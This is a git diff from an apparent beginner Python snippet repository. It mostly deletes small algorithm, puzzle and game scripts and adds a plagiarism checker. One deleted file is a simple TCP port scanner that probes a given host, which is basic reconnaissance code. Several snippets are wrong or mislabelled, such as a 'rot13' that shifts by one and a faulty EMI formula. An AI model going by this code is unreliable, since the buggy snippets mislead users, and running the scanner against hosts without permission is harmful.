Here/PYTHON/median-of-two-sorted-arrays.py b/Add Code Here/PYTHON/median-of-two-sorted-arrays.py deleted file mode 100644 index ef54331a358..00000000000 --- a/Add Code Here/PYTHON/median-of-two-sorted-arrays.py +++ /dev/null @@ -1,15 +0,0 @@ -import math -class Solution(object): - def findMedianSortedArrays(self, nums1, nums2): - """ - :type nums1: List[int] - :type nums2: List[int] - :rtype: float - """ - nums3=nums1+nums2 - nums3.sort() - if len(nums3)%2==0: - - return float((nums3[len(nums3)/2]+nums3[len(nums3)/2-1]))/2 - else: - return nums3[int(math.ceil(len(nums3)/2))] diff --git a/Add Code Here/PYTHON/mergeSort.py b/Add Code Here/PYTHON/mergeSort.py deleted file mode 100644 index f985acfbb1c..00000000000 --- a/Add Code Here/PYTHON/mergeSort.py +++ /dev/null @@ -1,61 +0,0 @@ -# Python program for implementation of MergeSort -def mergeSort(arr): - if len(arr) > 1: - - # Finding the mid of the array - mid = len(arr)//2 - - # Dividing the array elements - L = arr[:mid] - - # into 2 halves - R = arr[mid:] - - # Sorting the first half - mergeSort(L) - - # Sorting the second half - mergeSort(R) - - i = j = k = 0 - - # Copy data to temp arrays L[] and R[] - while i < len(L) and j < len(R): - if L[i] <= R[j]: - arr[k] = L[i] - i += 1 - else: - arr[k] = R[j] - j += 1 - k += 1 - - # Checking if any element was left - while i < len(L): - arr[k] = L[i] - i += 1 - k += 1 - - while j < len(R): - arr[k] = R[j] - j += 1 - k += 1 - -# Code to print the list - - -def printList(arr): - for i in range(len(arr)): - print(arr[i], end=" ") - print() - - -# Driver Code -if __name__ == '__main__': - arr = [12, 11, 13, 5, 6, 7] - print("Given array is", end="\n") - printList(arr) - mergeSort(arr) - print("Sorted array is: ", end="\n") - printList(arr) - -# This code is contributed by Mayank Khanna diff --git a/Add Code Here/PYTHON/minimaxsum.py b/Add Code Here/PYTHON/minimaxsum.py deleted file mode 100644 index cef21355bbc..00000000000 --- a/Add Code Here/PYTHON/minimaxsum.py +++ /dev/null @@ -1,16 +0,0 @@ -def miniMaxSum(arr): - # Write your code here - count = 0 - k=0 - num = arr[k] - for i in range(len(arr)): - - if arr[i] != num: - count = count+arr[i] - if arr[i] == num: - continue - k = k+1 - return count - -arr = [1,2,3,4,5] -print(miniMaxSum(arr)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/mmoidle.py b/Add Code Here/PYTHON/mmoidle.py deleted file mode 100644 index c9ca17e57fa..00000000000 --- a/Add Code Here/PYTHON/mmoidle.py +++ /dev/null @@ -1,71 +0,0 @@ -# -*- coding: utf-8 -*- -""" -Created on Sat Aug 20 10:04:17 2022 - -@author: osman batur çelik -""" -buffs=[ -50, -51, -52, -53, -54, -9002, -9003, -9004, -9009, -9013, -9014, -10000, -10001, -10002, -10003, -10004, -10005, -10006, -10007, -10008, -10009, -11000, -11001, -11002, -11003, -11004, -11005, -11006, -11007, -11008, -11009, -11010, -11011, -11012, -11013, -11014, -11015, -11016, -11017, -11018, -11019, -11020, -100, -101, -102, -105, -106, -107, -108, -109, -110, -111, -112, -113] - -f = open("demofile2.txt", "w") - -for i in range(len(buffs)): - f.write(''',{ - "buffID" : '''+str(buffs[i])+''', - "timeLeft" : 150037833.234 - }''') - -f.close() diff --git a/Add Code Here/PYTHON/nQueens.py b/Add Code Here/PYTHON/nQueens.py deleted file mode 100644 index a5d4ee6d7fe..00000000000 --- a/Add Code Here/PYTHON/nQueens.py +++ /dev/null @@ -1,23 +0,0 @@ -class Solution: - def totalNQueens(self, n: int) -> int: - import numpy as np - chess = np.zeros(shape=(n,n)) - columns = [0]*len(chess) - dia1 = [False]*(2*len(chess)-1) - dia2 = [False]*(2*len(chess)-1) - - count = [] - - def findNQueens(chess, y, count): - if(y==len(chess)): - count.append(1) - else: - for x in range(len(chess)): - if(columns[x] or dia1[y+x] or dia2[x-y+len(chess)-1]): - continue - else: - columns[x]=dia1[x+y]=dia2[x-y+len(chess)-1]=True - findNQueens(chess, y+1, count) - columns[x]=dia1[x+y]=dia2[x-y+len(chess)-1]=False - findNQueens(chess, 0, count) - return sum(count) \ No newline at end of file diff --git a/Add Code Here/PYTHON/numberguessgame.py b/Add Code Here/PYTHON/numberguessgame.py deleted file mode 100644 index 7e84dea1fa4..00000000000 --- a/Add Code Here/PYTHON/numberguessgame.py +++ /dev/null @@ -1,38 +0,0 @@ -import random - -num = random.randint(1,99) - - -#move=7 -def start(move): - print(f"you have {move} move left") - - if move == 0: - print("Sorry you don't have enough move to play this game") - print(f"answer is {num}") - quit() - - ans = int(input("enter the number:-")) - - if ans< num: - print(f"number is greater the {ans}") - move = move-1 - start(move) - - elif ans> num: - print(f"number is smaller then this {ans}") - move = move-1 - start(move) - - elif num == ans: - print(f"you guess correct answer.") - print(f"congrats you win this game for {move} Move.") - - -if __name__ == '__main__': - print("-----------------------------") - print("Welcome to number guess game") - print("-----------------------------") - print("number between 1 to 99 ") - move=7 - start(move) \ No newline at end of file diff --git a/Add Code Here/PYTHON/palindrome.py b/Add Code Here/PYTHON/palindrome.py deleted file mode 100644 index c71e66f3a01..00000000000 --- a/Add Code Here/PYTHON/palindrome.py +++ /dev/null @@ -1,24 +0,0 @@ -def checkpalindrome(s): - low =0 - high = len(s)-1 - while low0.6 and floatStrength<=0.9): - print("The Password is Good") - else: - print("The Password is Strong") -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/Add Code Here/PYTHON/plagarism.py b/Add Code Here/PYTHON/plagarism.py new file mode 100644 index 00000000000..3af11795e37 --- /dev/null +++ b/Add Code Here/PYTHON/plagarism.py @@ -0,0 +1,45 @@ +import re +from collections import Counter + +# Function to preprocess and tokenize text +def preprocess_text(text): + # Convert text to lowercase + text = text.lower() + + # Remove special characters and numbers + text = re.sub(r'[^a-z ]', '', text) + + # Tokenize the text into words + words = text.split() + + return words + +# Function to calculate the Jaccard similarity between two sets of words +def calculate_jaccard_similarity(set1, set2): + intersection = len(set1.intersection(set2)) + union = len(set1) + len(set2) - intersection + return intersection / union if union > 0 else 0 + +# Function to check for plagiarism +def check_plagiarism(text1, text2, threshold=0.5): + words1 = set(preprocess_text(text1)) + words2 = set(preprocess_text(text2)) + + similarity = calculate_jaccard_similarity(words1, words2) + + if similarity >= threshold: + return True + else: + return False + +# Example usage +if __name__ == "__main__": + document1 = "This is a sample document for testing plagiarism detection." + document2 = "This is a sample document used for testing plagiarism checker." + + is_plagiarized = check_plagiarism(document1, document2) + + if is_plagiarized: + print("Plagiarism detected!") + else: + print("No plagiarism detected.") diff --git a/Add Code Here/PYTHON/portscanner.py b/Add Code Here/PYTHON/portscanner.py deleted file mode 100644 index 103c280a922..00000000000 --- a/Add Code Here/PYTHON/portscanner.py +++ /dev/null @@ -1,43 +0,0 @@ -#!/bin/python3 - -import sys -import socket -from datetime import datetime - -#defining target - -if len(sys.argv) == 2: - target = socket.gethostbyname(sys.argv[1]) #translate hostname to ipv4 -else: - print("Invalid amount of arguments") - print("Synatx: python3 portscanner.py ") - -#add a pretty banner - -print("-"* 50) -print("Scanning Target"+target) -print("Time Started: "+str(datetime.now())) -print("-" * 50) - -try: - for port in range(10,85): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - socket.setdefaulttimeout(5) #1 msec timeout - result = s.connect_ex((target,port)) #returns erros indicator 0 if port open 1 if close - #print("Checking port "+str(port)) - if result == 0: - print("port {} is open".format(port)) - s.close() - -except KeyboardInterrupt: - print("\nExiting Program") - sys.exit() - -except socket.gaierror: - print("Hostname could not resolved") - -except socket.error: - sys.exit() - - - diff --git a/Add Code Here/PYTHON/quick_sort.py b/Add Code Here/PYTHON/quick_sort.py deleted file mode 100644 index c690cda64a4..00000000000 --- a/Add Code Here/PYTHON/quick_sort.py +++ /dev/null @@ -1,24 +0,0 @@ -#Shree Ganeshaya Namah: -#Shambhu - -#Quick sort is a sorting algorithm that makes use of the divide and conquer technique. -#In this, we take any element such as the first, middle or preferably last element as a pivot -#Then we divide the the array into two separate arrays; the lesser and the greater elements essentially -#Then by using recursion we sort it and return the array. -#So, what are we waiting for? Let's do it without further ado. - -def quick(arr): - if len(arr)<=1: - return arr - pivot = arr[-1] - l = [] - g = [] - for i in arr[:-1]: - if i<=pivot: - l.append(i) - else: - g.append(i) - return quick(l)+[pivot]+quick(g) - -arr = [10,20,13,11,9,4,2,1,3,5,19,22,21,18] -print(quick(arr)) diff --git a/Add Code Here/PYTHON/quicksort.py b/Add Code Here/PYTHON/quicksort.py deleted file mode 100644 index 4d594f957d9..00000000000 --- a/Add Code Here/PYTHON/quicksort.py +++ /dev/null @@ -1,26 +0,0 @@ -def quicksort(a): - if len(a)<=1: - return a - - else: - pivot = a.pop() - - greater =[] - lower=[] - - for i in a: - if i > pivot: - greater.append(i) - else: - lower.append(i) - - return quicksort(lower) + [pivot] + quicksort(greater) - - -arr=[56,3,4,2,6,3,7] - -print(quicksort(arr)) - - - - diff --git a/Add Code Here/PYTHON/radix_sort.py b/Add Code Here/PYTHON/radix_sort.py deleted file mode 100644 index 7b4e69661d2..00000000000 --- a/Add Code Here/PYTHON/radix_sort.py +++ /dev/null @@ -1,64 +0,0 @@ -# Python program for implementation of Radix Sort -# A function to do counting sort of arr[] according to -# the digit represented by exp. - -def countingSort(arr, exp1): - - n = len(arr) - - # The output array elements that will have sorted arr - output = [0] * (n) - - # initialize count array as 0 - count = [0] * (10) - - # Store count of occurrences in count[] - for i in range(0, n): - index = arr[i] // exp1 - count[index % 10] += 1 - - # Change count[i] so that count[i] now contains actual - # position of this digit in output array - for i in range(1, 10): - count[i] += count[i - 1] - - # Build the output array - i = n - 1 - while i >= 0: - index = arr[i] // exp1 - output[count[index % 10] - 1] = arr[i] - count[index % 10] -= 1 - i -= 1 - - # Copying the output array to arr[], - # so that arr now contains sorted numbers - i = 0 - for i in range(0, len(arr)): - arr[i] = output[i] - -# Method to do Radix Sort -def radixSort(arr): - - # Find the maximum number to know number of digits - max1 = max(arr) - - # Do counting sort for every digit. Note that instead - # of passing digit number, exp is passed. exp is 10^i - # where i is current digit number - exp = 1 - while max1 / exp >= 1: - countingSort(arr, exp) - exp *= 10 - - -# Driver code -arr = [170, 45, 75, 90, 802, 24, 2, 66] - -# Function Call -radixSort(arr) - -for i in range(len(arr)): - print(arr[i],end=" ") - -# This code is contributed by Mohit Kumra -# Edited by Patrick Gallagher diff --git a/Add Code Here/PYTHON/random story maker.py b/Add Code Here/PYTHON/random story maker.py deleted file mode 100644 index 881cc99b6fb..00000000000 --- a/Add Code Here/PYTHON/random story maker.py +++ /dev/null @@ -1,32 +0,0 @@ -import random - -enemy = random.choice(["chihuahua", "border collie", "wolf"]) -father = random.choice(["John", "Mr.Pickles", "Hairyface", "Willy Wonka", "Steve", "Bob"]) -enemyadj = ["grimy", "muddy", "awful", "grotesque", "hideous", "adorable", "cute"] -intro1 = "I was sitting on the edge of the rocky cliff beside my favourite tree." -intro2 = "Alone in the searing desert, I was wondering why I was leaning against a cactus." -intro3 = "Staring out my apartment window, I saw my reflection staring back at me." -char1 = "As I looked out into the distance, I thought about my past and all of the drama in it." -char2 = "I wondered if this was my destiny- trying to find happiness." -char3 = "I pulled out the photo of my long lost mother and where on earth she could be." -prob1 = "Suddenly I was covered from head to toe with darkness. I couldn't breathe or see. Everything went black..." -prob2 = "All of a sudden a psychopathic " + enemy + " grinned at me,showing all his razor sharp teeth. Suddenly it started to claw at my face. From the loss of blood, I collapsed onto the tough ground..." -prob3 = "I suddenly felt a sharp needle sink into my flesh. It was a tranquilizer. But before I knew it I started feeling really drowsy. Everything went black..." -sol1 = "I forced my drowsy eyes open my eyes to see a bright light." -sol2 = "I forced my drowsy eyes open to find myself on the back of a massive dragon and a man in front of me." -sol3 = "I forced my drowsy eyes open to the sounds of a " + random.choice(enemyadj) + " " + enemy + " licking my face." -end1 = "A man came to my side with a knife. It was my father!" + father + "!" "'Go to sleep young one...'" -end2 = "It was difficult to keep my eyes open as I stuggled to breathe. " -end3 = "Out of nowhere, a duck wearing a deerstalker looked me in the eye and pointed a gun at me. 'Quack.' And that was the last thing I heard..." - -intros = [intro1, intro2, intro3] -characters = [char1, char2, char3] -problems = [prob1, prob2, prob3] -solutions = [sol1, sol2, sol3] -endings = [end1, end2, end3] - -print(random.choice(intros)), -print(random.choice(characters)), -print(random.choice(problems)), -print(random.choice(solutions)), -print(random.choice(endings)) diff --git a/Add Code Here/PYTHON/removeNthFromEnd.py b/Add Code Here/PYTHON/removeNthFromEnd.py new file mode 100644 index 00000000000..b6fb6321685 --- /dev/null +++ b/Add Code Here/PYTHON/removeNthFromEnd.py @@ -0,0 +1,30 @@ +# Definition for singly-linked list. +# class ListNode: +# def __init__(self, val=0, next=None): +# self.val = val +# self.next = next +class Solution: + def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]: + if head.next is None: + return None + + total = 0 + temp = head + while temp is not None: + total += 1 + temp = temp.next + temp = head + pos = 0 + if total == n: + return head.next + while temp.next is not None: + pos += 1 + if total - pos == n: + if n == 1: + temp.next = None + else: + temp.next = temp.next.next + break + temp = temp.next + return head + diff --git a/Add Code Here/PYTHON/reverse_array.py b/Add Code Here/PYTHON/reverse_array.py deleted file mode 100644 index 03c00967c58..00000000000 --- a/Add Code Here/PYTHON/reverse_array.py +++ /dev/null @@ -1,9 +0,0 @@ -def reverseArray(a): - arr = [] - for i in range(len(a)-1, -1, -1): - arr.append(a[i]) - return arr - -myArr = [1,2,3,4,5,6] -reversedArray = reverseArray(myArr) -print(reversedArray) diff --git a/Add Code Here/PYTHON/revstr.py b/Add Code Here/PYTHON/revstr.py deleted file mode 100644 index d74a2c858dc..00000000000 --- a/Add Code Here/PYTHON/revstr.py +++ /dev/null @@ -1,13 +0,0 @@ -from collections import OrderedDict -class Solution: - def reversestring(self,s): - s= s.replace(" ","") - return "".join(OrderedDict.fromkeys(s[::-1])) - - -if __name__ == '__main__': - s = "I AM AWESOME" - - ob = Solution() - ans = ob.reversestring(s) - print(ans) diff --git a/Add Code Here/PYTHON/reynan-dev.py b/Add Code Here/PYTHON/reynan-dev.py deleted file mode 100644 index 4521831b514..00000000000 --- a/Add Code Here/PYTHON/reynan-dev.py +++ /dev/null @@ -1,5 +0,0 @@ -a=int(input('enter principal amount=')) -b=int(input('enter rate of interest=')) -c=int(input('enter number of years=')) -d=((a*b/12)*(1+b/12)**c)/((1+b/12)**c)-1 -print('EMI=',d) diff --git a/Add Code Here/PYTHON/rod_cutting_problem_dp.py b/Add Code Here/PYTHON/rod_cutting_problem_dp.py deleted file mode 100644 index 091e95e7a54..00000000000 --- a/Add Code Here/PYTHON/rod_cutting_problem_dp.py +++ /dev/null @@ -1,47 +0,0 @@ -class Solution: - dp_price=[[0 for i in range(1000)]for j in range(1000)] - maxprof=float('inf') - def cutRod(self, price, n): - #code here - for i in range(n): - self.dp_price[0][i]=self.dp_price[i][0]=0 - self.dp_price[0][0]=0 - l_array=[] - for i in range(1,n+1): - l_array.append(i) - return self.cutHelper(price,n,l_array) - def cutHelper(self,price,n,l): - for i in range(1,n+1): - for j in range(1,n+1): - if(l[i-1]<=j): - self.dp_price[i][j]=max(self.dp_price[i-1][j],price[i-1]+self.dp_price[i][j-l[i-1]]) - #print(self.dp_price[i][j],"poi") - else: - self.dp_price[i][j]=self.dp_price[i-1][j] - #print(self.dp_price) - return self.dp_price[i][j] - - - - - -#{ -# Driver Code Starts -#Initial Template for Python 3 - -def main(): - - T = int(input()) - - while(T > 0): - n = int(input()) - a = [int(x) for x in input().strip().split()] - ob = Solution() - print(ob.cutRod(a, n)) - - T -= 1 - - -if __name__ == "__main__": - main() -# } Driver Code Ends diff --git a/Add Code Here/PYTHON/rollercoster.py/CN.py b/Add Code Here/PYTHON/rollercoster.py/CN.py deleted file mode 100644 index 8e3fff9f6d6..00000000000 --- a/Add Code Here/PYTHON/rollercoster.py/CN.py +++ /dev/null @@ -1,8 +0,0 @@ -n = 4 -for i in range(n): - for j in range(i): - print('1',end='') - for j in range(i+1): - print(i+1,end='') - print('1') - \ No newline at end of file diff --git a/Add Code Here/PYTHON/rollercoster.py/rollercoster.py b/Add Code Here/PYTHON/rollercoster.py/rollercoster.py deleted file mode 100644 index b8357cb3f91..00000000000 --- a/Add Code Here/PYTHON/rollercoster.py/rollercoster.py +++ /dev/null @@ -1,19 +0,0 @@ -# cook your dish here - -y=int(input()) - -for i in range(y): - - x,h=map(int,input().split()) - - if x>=h: - - print("YES") - - else: - - print("NO") - - - - diff --git a/Add Code Here/PYTHON/rot.py b/Add Code Here/PYTHON/rot.py deleted file mode 100644 index 159f9ecfe3a..00000000000 --- a/Add Code Here/PYTHON/rot.py +++ /dev/null @@ -1,14 +0,0 @@ -#!usr/bin/python -import sys - -def rot13(st): - res = [] - for i in range(len(st)): - stack = ord(st[i]) - result = chr(stack+1) - res.append(result) - return res - -arr = str(input("Enter a string \n")) -result = rot13(arr) -print("".join(result)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/scrap.py b/Add Code Here/PYTHON/scrap.py deleted file mode 100644 index e04c3d2fb05..00000000000 --- a/Add Code Here/PYTHON/scrap.py +++ /dev/null @@ -1,55 +0,0 @@ -import tweepy -import csv - -api_key = "YOUR_API_KEY" -api_key_secret = "YOUR_API_SECRET_KEY" -bearer_token = "YOUR_BEARER_TOKEN" -bearer_token_secret = "YOUR_BEARER_TOKEN_SECRET" - -# Verifying Credentials -auth = tweepy.OAuthHandler(api_key, api_key_secret) -auth.set_access_token(bearer_token, bearer_token_secret) -api = tweepy.API(auth) - -try: - api.verify_credentials() - print("Authentication OK") - tweets = tweepy.Cursor(api.search_tweets, q="bjorka").items() - - # CMD - #for tweet in tweets: - # print(tweet.created_at, tweet.user.name,'\n',tweet.text) - # print('\n') - - # Flat File - #with open('tweet.txt', 'a+', newline='', encoding="utf-8") as file: - # try: - # i = 0 - # for tweet in tweets: - # file.write(str(tweet.created_at)) - # file.write('\n') - # file.write(tweet.user.name) - # file.write('\n') - # file.write(tweet.text) - # file.write('\n') - # file.write('\n') - # print(i) - # i = i + 1 - # file.close() - # except Exception as e: - # print(e) - - # CSV - with open('tweet.csv', 'a', newline='', encoding="utf-8") as file: - try: - writer = csv.writer(file) - i = 0 - for tweet in tweets: - tw = [tweet.created_at,tweet.user.name,tweet.text,tweet.user.location] - writer.writerow(tw) - print(i) - i = i + 1 - except Exception as e: - print(e) -except Exception as e: - print(e) diff --git a/Add Code Here/PYTHON/secondlargest.py b/Add Code Here/PYTHON/secondlargest.py deleted file mode 100644 index d5e8a0e28ee..00000000000 --- a/Add Code Here/PYTHON/secondlargest.py +++ /dev/null @@ -1,25 +0,0 @@ -class Solution: - def findSecondLargest(self,arr, n): - # max = 0 - # arr = sorted(arr) - # max = arr[-1] - # if arr[-1] == arr[-2]: - # return arr[-3] - # return arr[-2] - max = -1 - smax = max - for i in range(0,n): - if arr[i]>max: - smax = max - max = arr[i] - elif arr[i]< max and smax< arr[i]: - smax = arr[i] - return smax - - -if __name__ == "__main__": - arr = [45,26,78,0,16,52,26,78] - n = len(arr) - num = Solution() - sol = num.findSecondLargest(arr,n) - print(sol) \ No newline at end of file diff --git a/Add Code Here/PYTHON/shuffle_deck_of_cards.py b/Add Code Here/PYTHON/shuffle_deck_of_cards.py deleted file mode 100644 index 6a9d2fe2f43..00000000000 --- a/Add Code Here/PYTHON/shuffle_deck_of_cards.py +++ /dev/null @@ -1,9 +0,0 @@ -import itertools, random - -deck = list(itertools.product(range(1,14),['Spade','Heart','Diamond','Club'])) - -random.shuffle(deck) - -print("You got:") -for i in range(5): - print(deck[i][0], "of", deck[i][1]) diff --git a/Add Code Here/PYTHON/sliding_window.py b/Add Code Here/PYTHON/sliding_window.py deleted file mode 100644 index 5e88f3f66ca..00000000000 --- a/Add Code Here/PYTHON/sliding_window.py +++ /dev/null @@ -1,23 +0,0 @@ -def maximum_sum(array, window_size): - array_size = len(array) - if array_size <= window_size: - return -1 - - window_sum = 0 - for i in range(window_size): - window_sum += array[i] - - max_sum = window_sum - - for i in range(array_size - window_size): - window_sum = window_sum - array[i] + array[i + window_size] - max_sum = max(max_sum, window_sum) - - return max_sum - - -arr = [80, -50, 90, 100] -k = 3 - -answer = maximum_sum(arr, k) -print(answer) diff --git a/Add Code Here/PYTHON/smallerthan.py b/Add Code Here/PYTHON/smallerthan.py deleted file mode 100644 index 02307f44599..00000000000 --- a/Add Code Here/PYTHON/smallerthan.py +++ /dev/null @@ -1,6 +0,0 @@ -def get_smallest(l,e): - return[x for x in l if x 290 or head.xcor() < -290 or head.ycor() > 290 or head.ycor() < -290: - time.sleep(1) - head.goto(0, 0) - head.direction = "Stop" - colors = random.choice(['red', 'blue', 'green']) - shapes = random.choice(['square', 'circle']) - for segment in segments: - segment.goto(1000, 1000) - segments.clear() - score = 0 - delay = 0.1 - pen.clear() - pen.write("Score : {} High Score : {} ".format( - score, high_score), align="center", font=("candara", 24, "bold")) - if head.distance(food) < 20: - x = random.randint(-270, 270) - y = random.randint(-270, 270) - food.goto(x, y) - - # Adding segment - new_segment = turtle.Turtle() - new_segment.speed(0) - new_segment.shape("square") - new_segment.color("orange") # tail colour - new_segment.penup() - segments.append(new_segment) - delay -= 0.001 - score += 10 - if score > high_score: - high_score = score - pen.clear() - pen.write("Score : {} High Score : {} ".format( - score, high_score), align="center", font=("candara", 24, "bold")) - # Checking for head collisions with body segments - for index in range(len(segments)-1, 0, -1): - x = segments[index-1].xcor() - y = segments[index-1].ycor() - segments[index].goto(x, y) - if len(segments) > 0: - x = head.xcor() - y = head.ycor() - segments[0].goto(x, y) - move() - for segment in segments: - if segment.distance(head) < 20: - time.sleep(1) - head.goto(0, 0) - head.direction = "stop" - colors = random.choice(['red', 'blue', 'green']) - shapes = random.choice(['square', 'circle']) - for segment in segments: - segment.goto(1000, 1000) - segment.clear() - - score = 0 - delay = 0.1 - pen.clear() - pen.write("Score : {} High Score : {} ".format( - score, high_score), align="center", font=("candara", 24, "bold")) - time.sleep(delay) - -wn.mainloop() diff --git a/Add Code Here/PYTHON/snake water gun game b/Add Code Here/PYTHON/snake water gun game deleted file mode 100644 index 063edaa553b..00000000000 --- a/Add Code Here/PYTHON/snake water gun game +++ /dev/null @@ -1,164 +0,0 @@ - # Exercise - 5 -from emoji import emojize # pip install emoji -import random -from time import sleep -import shutil -from simple_colors import * # pip install simple_colors - - -def intro(): - """ - Function to print the basic introduction about te game - """ - columns = shutil.get_terminal_size().columns - - print(magenta("SNAKE (🐍) WATER (💧) GUN (🔫)".center(columns))) # Printing the name of the game - - sleep(1.5) # Making program to sleep to print next statement after sometime - - print(cyan("GAME DEVELOPED BY - 👑 AKSHAT DODHIYA 👑".center(columns))) # Printing the name of the developer - - sleep(2) # Making program to sleep to execute next part of the program after sometime - - -intro() # Calling the function intro() to introduce the game - -computer_choice, user_choice = "", "" # Declaring variables to store choices -computer_points, user_points, flag, chance = 0, 0, 0, 0 # Variables : -# store points, flag = to repeat loop once again for invalid input, -# chance = use in while loop for calculating the chances of the user -replay = "" # Declaring empty string to store user's choice for replay - - -def choices(): - """ - This function takes input of user's choice and also takes random input from the computer from list 'options' - """ - global computer_choice, user_choice # Declaring variables as global to use in function - options = ["Snake", "Water", "Gun"] # List of options for computer to choose randomly - computer_choice = random.choice(options) # function to store random choice from list 'options' - - print("Choose:\t\tS for", emojize(":snake:"), - "\t\tW for", emojize(":droplet:"), - "\t\tG for", emojize(":pistol:")) # Printing options for user to select - user_choice = input().lower() # storing input of the user in lower case - - -def results(): - """ - This function calculates points of both computer and user and - it also prints whether the user won or lost in that chance and flag value is also handled in this function - """ - global computer_points, user_points, flag # Globalising variables for editing it's values - flag = 0 # Initialising the value of flag to zero in each iteration - if computer_choice == "Snake": - if user_choice == "s" or user_choice == "snake": - print(yellow("AWWW...!!"), emojize(":neutral_face:"), yellow("\nTWO SNAKES HAD BITTEN EACH OTHER :/")) - - elif user_choice == "w" or user_choice == "water": - print(red("NOOO...!!"), emojize(":crying_face:"), red("\nTHE SNAKE DRANK YOUR WATER :(")) - computer_points += 1 # Incrementing computer_points by one - - elif user_choice == "g" or user_choice == "gun": - print(green("YEAH...!!"), emojize(":victory_hand:"), green("\nYOU SHOT THE SNAKE BY GUN :)")) - user_points += 1 # Incrementing user_points by one - - else: - print("!!कृपया सही विकल्प चुनें!!") # Error message in 'HINDI' for invalid choice - flag = 1 # Changing flag value to iterate the loop again in same chance - - elif computer_choice == "Water": - if user_choice == "s" or user_choice == "snake": - print(green("YEAH...!!"), emojize(":victory_hand:"), green("\nYOUR SNAKE DRANK THE WATER :)")) - user_points += 1 # Incrementing user_points by one - - elif user_choice == "w" or user_choice == "water": - print(yellow("AWWW...!!"), emojize(":neutral_face:"), yellow("\nWATER IS INCREASED :/")) - - elif user_choice == "g" or user_choice == "gun": - print(red("NOOO...!!"), emojize(":crying_face:"), red("\nYOUR GUN SANK INTO THE WATER :(")) - computer_points += 1 # Incrementing computer_points by one - - else: - print("!!कृपया सही विकल्प चुनें!!") # Error message in 'HINDI' for invalid choice - flag = 1 # Changing flag value to iterate the loop again in same chance - - elif computer_choice == "Gun": - if user_choice == "s" or user_choice == "snake": - print(red("NOOO...!!"), emojize(":crying_face:"), red("\nYOUR SNAKE WAS SHOT BY THE GUN :(")) - computer_points += 1 # Incrementing computer_points by one - - elif user_choice == "w" or user_choice == "water": - print(green("YEAH...!!"), emojize(":victory_hand:"), green("\nYOUR WATER HAD SUNK THE GUN INTO IT :)")) - user_points += 1 # Incrementing user_points by one - - elif user_choice == "g" or user_choice == "gun": - print(yellow("AWWW...!!"), emojize(":neutral_face:"), yellow("\nTWO GUNS FIRED AT EACH OTHER :/")) - - else: - print("!!कृपया सही विकल्प चुनें!!") # Error message in 'HINDI' for invalid choice - flag = 1 # Changing flag value to iterate the loop again in same chance - - -def replay_game(): - """ - Function to ask and store the choice of the user for replaying the game - """ - while 1: # infinite loop till the user enters a valid choice - print("DO YOU WANT TO PLAY AGAIN ? \nENTER Y FOR YES AND N FOR NO") - # Giving choice to the user for replaying the game - global replay # Globalising the variable to edit value of main variable - replay = input().lower() # Taking input in lower case string - - # if else condition to check whether the user has entered the valid input or not - if replay == "y" or replay == "yes": - break # breaking infinite loop after getting valid input - elif replay == "n" or replay == "no": - break # breaking infinite loop after getting valid input - else: - print(red("Please enter a valid input only")) - continue # executing the loop again due to invalid input given by the user - - -while 1: # Infinite loop to play the game as many times as the user wants - computer_points, user_points, flag, chance = 0, 0, 0, 0 # Initialising values to zero at the beginning of the game - computer_choice, user_choice, replay = "", "", "" # Emptying strings at the beginning of the game - - try: - n = int(input("HOW MANY CHANCES DO YOU WANT TO PLAY ?\n")) - if n < 1: - print(red('Please enter only natural number', 'bold')) - continue - - except Exception as e: - print(red('Please enter only natural number', 'bold')) - continue - - while chance < n: # Iterating loop 'n' times for playing 'n' number of chances - choices() # Calling function to take choice of the user as input - results() # Calling function to calculate result of a particular chance - if flag == 0: # Incrementing flag's value only if the input given by the user will be valid - chance += 1 - - # Displaying points of both computer and user - print("\n\t\t\tYOUR SCORE :", user_points) - print("\n\t\t\tCOMPUTER'S SCORE :", computer_points) - - # Printing the final result of the game - if computer_points > user_points: - print(red("\n\t\t\tYOU LOST THE GAME !!"), emojize(":loudly_crying_face:"), red("YOU LOST THE GAME")) - elif user_points > computer_points: - print(green("\n\t\t\tHURRAH !!"), emojize(":smiling_face_with_sunglasses:"), green("YOU WON THE GAME")) - else: - print(yellow("\n\t\t\t!! TIE !!"), emojize(":disappointed_face:"), yellow("!! TRY AGAIN !!")) - - replay = "" - - replay_game() - - if replay == "n" or replay == "no": - print(red("\n\t\t\tSAD TO SEE YOU GO !!", 'bold'), emojize(":disappointed_face:")) # Printing exit statement - exit() # exiting the game - if replay == "y" or replay == "yes": - print(green("\n\t\t\tYO LET'S PLAY AGAIN", 'bold'), emojize(":smiling_face_with_smiling_eyes:")) - # Printing a statement and replaying the game diff --git a/Add Code Here/PYTHON/snake-water-gun.py b/Add Code Here/PYTHON/snake-water-gun.py deleted file mode 100644 index 781aa345f7b..00000000000 --- a/Add Code Here/PYTHON/snake-water-gun.py +++ /dev/null @@ -1,137 +0,0 @@ -# f = open("KrishDiet.txt","w") -# f.write("Hi Krish here is your diet") -# f.close() -# f = open("Krishexercise.txt","w") -# f.write("Hi Krish here is your exercise") -# f.close() -# -# f = open("SamirDiet.txt","w") -# f.write("Hi Samir here is your diet") -# f.close() -# f = open("Samirexercise.txt","w") -# f.write("Hi Samir here is your exercise") -# f.close() -# -# f = open("HarryDiet.txt","w") -# f.write("Hi harry here is your diet") -# f.close() -# f = open("Harryexercise.txt","w") -# f.write("Hi Harry here is your exercise") -# f.close() - -def getdate(): - import datetime - return datetime.datetime.now() - - -print("What do you want to add press 1 for exercise or press 2 for diet") -inp=int(input()) - - - -if inp==1: - print("what is your name") - inpname=input() - if inpname=="Krish": - print("What do you want to do add or read") - inpdo=input() - - if inpdo=="add": - print("Now you can add") - d= open("Krishexercise.txt","a") - d.write(input("\n")) - print("successfully written") - elif inpdo=="read": - - e=open("Krishexercise.txt") - print(e.read()) - e.close() - - if inpname=="Samir": - print("What do you want to do add or read") - inpdo = input() - - if inpdo == "add": - print("Now you can add") - f = open("Samirexercise.txt","a") - f.write(input()) - print("successfullywritten") - - elif inpdo == "read": - - g = open("Samirexercise.txt") - print(g.read()) - g.close() - - - if inpname=="Harry": - print("What do you want to do add or read") - inpdo = input() - - if inpdo == "add": - print("Now you can add") - h = open("Harryexercise.txt","a") - h.write(input()) - print("successfully written") - - - - - - - elif inpdo == "read": - - i = open("Harryexercise.txt") - print(i.read()) - i.close() - -elif inp==2: - print("what is your name") - inpname=input() - if inpname=="Krish": - print("What do you want to do add or read") - inpdo=input() - - if 